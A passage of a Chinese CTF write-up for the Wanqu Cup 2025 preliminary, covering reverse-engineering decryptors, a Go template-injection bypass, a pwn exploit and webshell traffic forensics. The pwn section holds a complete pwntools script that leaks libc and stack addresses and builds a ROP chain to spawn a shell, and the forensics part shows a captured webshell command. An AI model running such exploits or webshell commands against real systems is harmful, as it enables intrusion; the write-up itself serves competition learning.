Unterhimmel-Binary cracking
湾区杯2025初赛部分2:D wp

湾区杯2025初赛部分2:D wp

pwn在做一题能进复赛,可恶。。。

reverse

hardtest

程序分析

开始的时候题目中存在检测,但是通过输入0可以通过检测

1
2
3
4
5
6
7
8
    seed = time(0LL);
    srand(seed);
    v23 = rand() % 255 + 1;
    printf("input your number(1-255): ");
    if ( (unsigned int)__isoc99_scanf("%d", &v21) == 1 && v23 == v21 )
    {
        while ( getchar() != 10 )
            ;

接下来分析主逻辑,还原主体中的函数还原就可以分析出算法,进行解密即可.

解密脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
"""
Decryptor for the given scheme.

Fill SBOX (byte_555555556020) and TARGET (byte_555555556120) below.
- SBOX must be a list or bytes-like of 256 distinct values (0..255).
- TARGET is the byte sequence that the program compares against (same length as the flag).

Once filled, run:
    python3 decrypt_flag.py

If SBOX is a true permutation and TARGET was produced by the binary, you'll get the plaintext flag.
"""

from typing import List

# === Paste your tables here ===================================================
# Example format (replace with real data):
# SBOX = [0x00, 0x01, 0x02, ... 0xFF]  # <-- REPLACE with byte_555555556020
# TARGET = [0x12, 0x34, 0x56, ...]     # <-- REPLACE with byte_555555556120

SBOX: List[int] = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x1, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x4, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x5, 0x9A, 0x7, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x9, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x0, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x2, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0xC, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0xB, 0xDB, 0xE0, 0x32, 0x3A, 0xA, 0x49, 0x6, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x8, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x3, 0xF6, 0xE, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0xD, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0xF, 0xB0, 0x54, 0xBB, 0x16]   # TODO: fill with 256 ints in 0..255

TARGET: List[int] = [0x97,0xD5,0x60,0x43,0xB4,0x10,0x43,0x73,0xF,0xDA,0x43,0xCD,0xD3,0xE8,0x73,0x4A,0x94,0xC3,0xCD,0x71,0xBD,0xDC,0x97,0x1A] # TODO: fill with the expected bytes (length = flag length)

# =============================================================================

def rol8(x: int, n: int) -> int:
    x &= 0xFF
    n &= 7
    return ((x << n) | (x >> (8 - n))) & 0xFF

def ror8(x: int, n: int) -> int:
    x &= 0xFF
    n &= 7
    return ((x >> n) | (x << (8 - n))) & 0xFF

def inv257(a: int) -> int:
    """Multiplicative inverse in Z_257 for a in [1..255], 0 -> 0; returns 0..255 (mod 257, truncated to 8 bits)."""
    a &= 0xFF
    if a == 0:
        return 0
    inv = pow(a, 255, 257)  # Fermat: a^255 ≡ a^{-1} (mod 257)
    return inv & 0xFF

def mulmod16(x: int, k: int) -> int:
    return (x * k) & 0xF

def encrypt_byte(x: int, j: int, sbox: List[int]) -> int:
    """One-byte forward transform (as in the binary)."""
    r = (j % 7) + 1
    y = rol8(x, r)
    z = rol8(y ^ 0x5A, 3)
    t = (mulmod16((z >> 4) & 0xF, 3) << 4) | mulmod16(z & 0xF, 5)
    u = inv257(t)
    w = ror8(u, 2)
    return sbox[w]

def decrypt_byte(e: int, j: int, sbox: List[int]) -> int:
    """Inverse transform to recover plaintext byte from expected byte e at position j."""
    # Invert SBOX: find index w s.t. sbox[w] == e
    # Prefer building once and reusing; do it inline here for clarity.
    # Create inverse mapping
    inv_sbox = [0] * 256
    seen = set()
    if len(sbox) != 256:
        raise ValueError("SBOX must have 256 entries.")
    for idx, val in enumerate(sbox):
        if not (0 <= val <= 255):
            raise ValueError("SBOX values must be 0..255.")
        if val in seen:
            raise ValueError("SBOX is not a permutation (duplicate value %d)." % val)
        seen.add(val)
        inv_sbox[val] = idx

    w = inv_sbox[e & 0xFF]
    u = rol8(w, 2)             # inverse of ror8(u,2)
    t = inv257(u)              # inverse of inv257(t) is itself
    # Invert nibble mapping: high uses *3 mod16 => inverse 11; low uses *5 mod16 => inverse 13
    z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
    z_lo = (13 * (t & 0xF)) & 0xF
    z = (z_hi << 4) | z_lo
    y = ror8(z, 3) ^ 0x5A
    r = (j % 7) + 1
    x = ror8(y, r)
    return x & 0xFF

def build_inv_sbox(sbox: List[int]) -> List[int]:
    inv = [0] * 256
    seen = set()
    if len(sbox) != 256:
        raise ValueError("SBOX must have 256 entries.")
    for i, v in enumerate(sbox):
        if not (0 <= v <= 255):
            raise ValueError("SBOX values must be 0..255.")
        if v in seen:
            raise ValueError("SBOX is not a permutation (duplicate %d)" % v)
        seen.add(v)
        inv[v] = i
    return inv

def decrypt_all(target: List[int], sbox: List[int]) -> bytes:
    inv_sbox = build_inv_sbox(sbox)
    out = bytearray()
    for j, e in enumerate(target):
        w = inv_sbox[e & 0xFF]
        u = rol8(w, 2)
        t = inv257(u)
        z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
        z_lo = (13 * (t & 0xF)) & 0xF
        z = (z_hi << 4) | z_lo
        y = ror8(z, 3) ^ 0x5A
        r = (j % 7) + 1
        x = ror8(y, r)
        out.append(x & 0xFF)
    return bytes(out)

def selftest():
    if not SBOX or not TARGET:
        print("[!] Please fill SBOX and TARGET first.")
        return
    # quick permutation check
    _ = build_inv_sbox(SBOX)
    # roundtrip check on a sample of bytes
    for j in range(64):
        for x in (0, 1, 2, 3, 0x10, 0x5A, 0x7F, 0x80, 0xFE, 0xFF):
            e = encrypt_byte(x, j, SBOX)
            xr = decrypt_byte(e, j, SBOX)
            assert xr == x, f"Roundtrip failed at j={j}, x=0x{x:02X}, got 0x{xr:02X}"
    print("[+] Roundtrip OK on sample set.")
    # try decrypt TARGET
    pt = decrypt_all(TARGET, SBOX)
    try:
        s = pt.decode('utf-8')
    except UnicodeDecodeError:
        s = pt.decode('latin-1')
    print("[+] Decrypted bytes:", pt)
    print("[+] As string:", s)

if __name__ == '__main__':
    selftest()

minigame

程序分析

提示是微信小程序,用Unpakemin解密后观察里面的.wasm文件
拖入ida中分析,发现c,b两个函数,理解后发现就是简单的xor异或
dump出data解密即可

解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
data = [
    0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9,
    0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE,
    0xAB, 0xA1, 0xA1, 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE,
    0xFC, 0xA1, 0xFA, 0xA8, 0xFB, 0xFB, 0xAD, 0xFC, 0xAC,
    0xAA, 0xE4
]

flag = ''.join(chr(b ^ 0x99) for b in data)
print(flag)

web

ssti

不是jinja模板不是python模板 ​

image
​ 也没开出来是什么服务器
一个一个试过去后 ​
image
​ 发现是GO语言的SSTi​ ​
image
​ 给了B64Decode和exec,但是禁用了一些指令,考虑用管道符连接 ​
image

可以,读一下flag试试

image

pwn

odd_canary

image
​ 保护 调试进入到good_news输入后知道buf读入地址在rip+0x2d48​,输入完后查看一下
image
​ 发现canary不存在? ​
image
​ 看一下刚好是多复制了一个\n​过去所以覆盖了canary?会导致检测触发 ​
image
​ 注意到good_news读取完后会将bss初始地址放上puts的地址 ​
image

实际上canary好像并未真的赋值,只是一个0x0罢了.before_main​里写了,逆天
good_news里面这个地方读0x20的意思不是很懂,但是确实没办法了,试试能不能搞一个libc出来
第二次进入再次尝试泄漏地址

image

把name后面八个字节打印出来了,可以泄漏libc
​strncpy​ 不会自动加 \0​,因此会一连串把后面到\x00为止打印出来
现在懂了,good_news实际上就是把puts泄漏出来
exit虽然会让bss被清理,但是我们可以借此拿到一个栈上的地址

image
​ 这里得到栈地址可以直接绕过canary ​
image
​ 在vuln中的栈上布置rop链,有leave ret,再次迁移回栈执行即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "pwn-f80da3ccc4.challenge.xctf.org.cn"
remote_port = "9999"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
     # b *(good_news+105)
     b *(vuln+109)
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port, ssl=True)
else:
    sys.exit(1)

elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def cmd(x):
    sla(b"Choose (good/vuln/exit): ", x)


bss = 0x404080
leave_ret = 0x40134a
ret_addr = 0x040101a

cmd("good")
payload = b'a'*(0x20-1)+b'B'
sa("first:\n", payload)

# libc_leaking
cmd("good")
ru(b"B")
try_leak = u64(rc(6).ljust(8, b'\x00'))
log.info(VIO_TEXT(f"try to leak an addr:{hex(try_leak)}"))

libc_base = try_leak-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
binsh_addr = libc_base+(libc.search(b'/bin/sh\x00')).__next__()
pop_rdi = libc_base+0x2a3e5

log.success(CLEAR_TEXT(f"system_addr:{hex(system_addr)}"))
log.success(CLEAR_TEXT(f"binsh_addr:{hex(binsh_addr)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# stack leaking
cmd("exit")
sla(b"Are you sure ? [y/n]\n", "n")

cmd("good")
stack_leak = get_64()-0x27
log.info(VIO_TEXT(f"stack_leak:{hex(stack_leak)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# 
cmd("vuln")
payload = flat(
    b'exec',
    p32(0),
    p64(pop_rdi),
    p64(binsh_addr),
    p64(ret_addr),
    p64(system_addr)
).ljust(0x30, b'\x00')
payload += p64(stack_leak)+p64(leave_ret)
sla("payload: \n", payload)

io.interactive()

forensics

checkwebshell

一堆http的shell.php,先试着strings抓一下flag

image

打开wireshark进行搜索分组字节流,找到秘密上传文件,是一个SM4加密文件

image

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
POST /shell.php HTTP/1.1
Host: 192.168.144.128:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

shell=system("type flag.txt");
HTTP/1.1 200 OK
Date: Mon, 11 Aug 2025 08:40:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

echo base64后面注释的应该就是原flag逻辑,反向解答出flag即可

SM4密钥是$key,解密走32轮加密

encrypt会自动进行PKCS#7填充,所以flag会被填充为flag+12字节’\x0c'

反向解密要去除掉填充

下面是改了之后的

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
        public function decrypt($ciphertext) {
    $plaintext = '';
    for ($i = 0; $i < strlen($ciphertext); $i += 16) {
        $block = substr($ciphertext, $i, 16);
        $plaintext .= $this->cryptBlockDecrypt($block);
    }
    // 去除填充
    $padding = ord(substr($plaintext, -1));
    return substr($plaintext, 0, -$padding);
}
    private function cryptBlockDecrypt($block) {
    $x = $this->strToIntArray($block);
    for ($i = 0; $i < 32; $i++) {
        $roundKey = $this->sk[31 - $i];  // 注意解密要逆序
        $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
        array_shift($x);
    }
    $x = array_reverse($x);
    return $this->intArrayToStr($x);
}
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
